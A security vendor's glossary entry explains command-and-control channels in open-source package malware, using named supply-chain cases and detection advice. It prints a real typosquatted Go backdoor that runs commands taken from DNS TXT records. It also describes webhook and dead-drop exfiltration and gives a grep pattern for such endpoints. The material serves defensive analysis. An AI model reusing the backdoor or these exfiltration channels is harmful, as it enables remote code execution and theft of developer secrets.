Back to glossary

Command and Control (C2)

Command and control (C2) is the channel malware uses to receive an attacker's instructions and send stolen data back from a compromised system.

Also known as C&C, CnC, C2 server, Command & Control, command-and-control server

Command and control (C2, C&C, or CnC) is the channel an attacker uses to send instructions to malware on a compromised machine and receive stolen data back. The implant initiates contact, the operator answers with tasks, and results flow out. Without command and control, malware runs only what it shipped with. With it, the attacker drives the machine remotely.

In open source supply chain attacks, the C2 server is often not a server the attacker owns. We have documented malicious packages that take orders or ship stolen data through Discord webhooks, the Telegram Bot API, Gmail SMTP, GitHub repositories, DNS TXT records, an Internet Computer canister, Solana transaction memos, and the RubyGems registry itself. Most of those destinations are services a developer network already allows.

Our position: you cannot block your way out of C2 at the network edge. Domain blocklists catch attacker-owned hosts after someone reports them. They cannot touch a webhook on discord.com or a push to rubygems.org. The durable control sits earlier. Inspect what a package does before it is installed or imported, and treat any host that ran a C2 implant as compromised, whatever the registry does afterward.

What does C2 mean in cyber security?

#

C2 in cyber security means command and control: the infrastructure and protocol an attacker uses to direct compromised systems after initial access. The term comes from military doctrine, where it names the authority and communications a commander uses to direct forces. MITRE ATT&CK treats it as a tactic of its own, TA0011, and states the adversary's goal in one line: "The adversary is trying to communicate with compromised systems to control them." As of ATT&CK v20, that tactic groups 18 techniques, from Application Layer Protocol (T1071) to Web Service (T1102).

Three facts about networks shape every C2 design. Compromised machines sit behind NAT and firewalls that drop unsolicited inbound connections, so the implant dials out. Outbound HTTPS and DNS are allowed almost everywhere, so C2 rides those protocols. And the operator is not online all the time, so the implant polls on a timer. That polling is called beaconing. A C2 implant almost always opens the connection itself, because inbound traffic is blocked.

The polling interval trades responsiveness for stealth. The shopsprint/decimal typosquat polls every 5 minutes. The CanisterWorm implant sleeps 300 seconds after install, then polls every 3,000 seconds. A slow beacon is harder to spot in flow logs and slower to obey.

What is a C2 server?

#

A C2 server is the endpoint an implant checks in with to fetch tasks and deliver results. In a classic intrusion it is a host the attacker rents, usually behind a domain that can be swapped. In package malware it can be sixteen lines of Go and someone else's DNS.

The shopsprint/decimal typosquatting case is the clearest example we have published. The module copied github.com/shopspring/decimal, which has 38,634 known importers on pkg.go.dev, and v1.3.3 added this to decimal.go (domain defanged):

Go
func init(){
	go func(){
		for {
			records, err := net.LookupTXT("dnslog-cdn-images.freemyip[.]com")
			if err != nil {
				time.Sleep(5 * time.Minute)
				continue
			}
			for _, txt := range records {
				cmd := exec.Command(txt)
				cmd.CombinedOutput()
			}
			time.Sleep(5 * time.Minute)
		}
	}()
}

Every part of a C2 channel is in those lines. Go runs every init() before main(), so importing the package anywhere in a dependency graph starts the loop. The beacon is a DNS TXT query, which most egress controls treat as routine traffic. The task is the TXT record's value, which the operator edits in a free dynamic DNS account. Execution is exec.Command, so each record names a program to run. There is no result channel, and the operator does not need one to stage a second payload. The upstream library imports none of net, os/exec, or time, so this backdoor changed the import list of a decimal arithmetic package.

The shopsprint/decimal backdoor stayed live for about 33 months before disclosure.

Figure 2 in text: v1.0.0 of github.com/shopsprint/decimal appeared on November 8, 2017, as a benign copy. Five more benign tags followed between March 2018 and October 2021, mirroring upstream release dates. On August 19, 2023, v1.3.2 shipped at 09:20:28 UTC with two genuine upstream fixes, and v1.3.3 followed at 09:27:21 UTC with the DNS TXT beacon. VirusTotal first analyzed the C2 subdomain on August 7, 2024. Socket disclosed the backdoor on May 19, 2026, and the Go security team then withdrew the module from proxy.golang.org. That is roughly 69 months of benign history followed by roughly 33 months of live C2. The GitHub repository and owner account had already been deleted, and the proxy kept serving v1.3.3 anyway.

What is the function of a C2 server?

#

A C2 server has four jobs: tasking the implant, receiving stolen data, staging new payloads, and changing the plan without touching the victim. Package malware rarely needs all four. Which ones it uses tells you how long it intends to stay.

Tasking. The implant asks what to do next. The final payload in the npm RAT campaign targeting Alibaba developers checks in to a hardcoded endpoint and accepts commands including info, screenshot, upload, download, execute, proxy, and exit. Anything it does not recognize goes to the system shell. That is a remote access trojan in the textbook sense.

Exfiltration. One-shot infostealers often skip tasking entirely. The npm package mysql-dumpdiscord reads config.json, .env, and similar files, truncates each to 1,900 characters, and POSTs them to a Discord webhook. One request, no reply.

Staging. The implant fetches the next stage on demand. Loaders in the Contagious Interview campaign POST to apachelicense[.]vercel[.]app/getAddress?platform=<platform>, read a downloadUrl from the JSON response, download ecw_update.zip, and run the platform-specific binary inside. ATT&CK files this as Ingress Tool Transfer (T1105).

Control. The operator changes behavior without touching the package. The CanisterWorm implant ignores any URL containing youtube.com, which appears to serve as an off switch: one edit to the canister's response would idle every infected host at once.

The split matters for defense. A one-shot stealer in a postinstall script finishes before anyone looks, and its C2 is just a mailbox. A persistent implant keeps a channel open for months. Its C2 traffic is the best remaining place to catch it after install.

Where package malware hides its command and control

#

Package malware uses three command and control topologies: a direct host, a relay through a trusted service, and a dead drop that points somewhere else.

Figure 1 in text: In the direct topology, the implant talks to a host the attacker controls. GlassWorm's stage 2 POSTs a stolen archive to /p2p on 45.32.150[.]251, and blocking that IP breaks nothing legitimate. In the relay topology, the implant POSTs to a trusted service. mysql-dumpdiscord sends .env contents to a discord.com webhook, and the operator reads the channel from an ordinary Discord client. Blocking discord.com breaks real users, and the webhook URL is the only secret. In the dead drop topology, the implant reads a pointer, then fetches the payload from wherever the pointer says. CanisterWorm's pgmon service GETs an Internet Computer (ICP) canister every 3,000 seconds, receives a URL, and downloads and runs the binary it names. The payload host never appears in the package, and the operator rotates it without republishing.

ATT&CK calls the third pattern a dead drop resolver: content on a legitimate web service that points to the real C2. GlassWorm's stage 1 uses the same idea with Solana transaction memos instead of a canister.

The table below adds channels from the original Shai-Hulud worm, whose September 2025 wave left 526 package versions in our IOC list, the Telegram-reporting Go module golang-random-ip-ssh-bruteforce, the Gmail-reporting PyPI package Coffin-Codes-Pro, and GemStuffer, which used RubyGems itself as the drop.

ChannelPublished exampleDirectionBlock by destination?
Attacker-owned IP or domainGlassWorm stage 2; Alibaba-targeted npm RATTwo-wayYes, once the host is known
Discord webhookmysql-dumpdiscordOut onlyNo: discord.com is shared with real users
Telegram Bot APIgolang-random-ip-ssh-bruteforceOut; the same token can poll for commandsYes in CI, where Telegram is rarely needed
webhook.siteShai-Hulud, September 2025Out onlyYes in CI
Victim's own GitHub accountShai-Hulud repos named "Shai-Hulud"Out onlyNo: api.github.com is required
Gmail SMTPCoffin-Codes-ProOut via SMTP; tasks over a WebSocket tunnelUsually yes: outbound SMTP is rare
DNS TXT on free dynamic DNSshopsprint/decimal v1.3.3In: commandsOnly by sinkholing the exact name once known
ICP canister dead dropCanisterWormIn: payload URLYes, if you do not use icp0.io
Solana transaction memoGlassWorm stage 1In: next-stage pointerNo reliable block: public RPC nodes serve it
Package registryGemStuffer on RubyGemsOut onlyNo: the registry must stay reachable

Verdict: destination blocking reliably stops only the first row, and only after the host is reported. The Discord, GitHub, and registry rows ride services that developer machines and CI runners must reach. Default-deny egress in CI is still worth deploying, because it removes the Telegram, webhook.site, SMTP, and canister rows at almost no cost. It does nothing about the destinations you allowlist, and GemStuffer showed that the registry you allowlist first works as an exfiltration channel.

How do you detect C2 in a dependency?

#

You detect C2 in a dependency by looking for the capabilities a channel needs, not the address it uses. A beacon needs network access. Tasking needs process execution or eval. Exfiltration needs something worth taking, which usually means environment variables or files like .env and ~/.npmrc. A decimal library that imports net and os/exec fails that test before anyone learns the C2 domain.

Socket's package analysis raises these as separate alerts, including Network access, Shell access, Environment variable access, and Install scripts, alongside AI-assisted malware detection. The combination is the signal. Plenty of legitimate packages make network calls. Very few utility libraries also spawn processes when imported.

Capability analysis has blind spots, and we would rather name them. Obfuscation hides strings: GlassWorm's loader decrypts stage 1 with AES-256-CBC and runs it with eval, so the C2 logic is never in plaintext. Dead drops hide destinations. Contagious Interview packages hide the loader behind ordinary methods such as a logger call or find_by_key(), so it runs when the application calls the library, not at install.

That last case is why blocking install scripts is necessary but not sufficient. npm v12, released July 8, 2026, turns dependency install scripts off by default, as pnpm 10 did in January 2025. As of October 2026, that default stops the one-shot install-time stealer for any package you have not approved. It does nothing for C2 that starts on import, like a Go init() or a booby-trapped logger.

A crude first pass is to grep installed dependencies for relay endpoints. The pattern below matches Discord webhooks, Telegram bot tokens, webhook.site, Slack incoming webhooks, ICP raw canister domains, and DNS TXT lookups in Node.js or Go. We ran it against a fixture of four planted packages:

Bash
$ grep -rEnoI 'discord(app)?\.com/api/webhooks/[0-9]+|api\.telegram\.org/bot[0-9]+:|webhook\.site/|hooks\.slack\.com/services/|\.raw\.icp0\.io|resolveTxt|LookupTXT' node_modules
node_modules/cfg-loader/index.js:1:resolveTxt
node_modules/log-helper/index.js:1:discord.com/api/webhooks/1000000000000000000
node_modules/ssh-scan/index.js:1:api.telegram.org/bot123456:

The fourth package stored the same kind of Discord webhook as a base64 string and produced no match. Treat a hit as a lead and a miss as nothing. Logging and alerting libraries embed webhooks for legitimate reasons, so every hit needs a human read.

Channels differ in what they give defenders. A hardcoded Telegram bot token is a full credential: the Bot API accepts it for sendMessage and for getUpdates, which reads incoming messages by long polling. Our researchers used the token in golang-random-ip-ssh-bruteforce to identify the bot and its destination chat. A Discord webhook URL gives defenders far less, because webhook URLs are effectively write-only and expose no channel history.

Registry takedown ends distribution, not control

#

Removing a package from the registry stops new installs. It does not reach the hosts that already ran it. The malicious CanisterWorm versions of @emilgroup/account-sdk are gone from npm, but the registry still records when they were published:

Bash
$ npm view @emilgroup/account-sdk time --json | grep '"1.41'
  "1.41.0": "2026-01-19T18:42:24.825Z",
  "1.41.1": "2026-03-20T20:15:11.617Z",
  "1.41.2": "2026-03-20T20:26:48.068Z",
$ npm view @emilgroup/account-sdk@1.41.2 version
npm error code E404
npm error 404 No match found for version 1.41.2

A Linux host that installed 1.41.2 before removal can still have ~/.config/systemd/user/pgmon.service with Restart=always, polling the canister. For a C2 implant, the indicators of compromise that matter live on the host: the systemd unit, ~/.local/share/pgmon/service.py, and /tmp/.pg_state. Rotate every credential the host could read, from a clean machine, and hunt for persistence before trusting it again.

The open problem is the dead drop. When the pointer lives in a Solana memo, there is no registrar to call. A confirmed transaction cannot be edited or deleted, and public RPC nodes serve it to anyone who asks. The only off switch left is the operator's. That is the strongest argument we know for catching C2 code before it runs: after it runs, the attacker decides when it stops.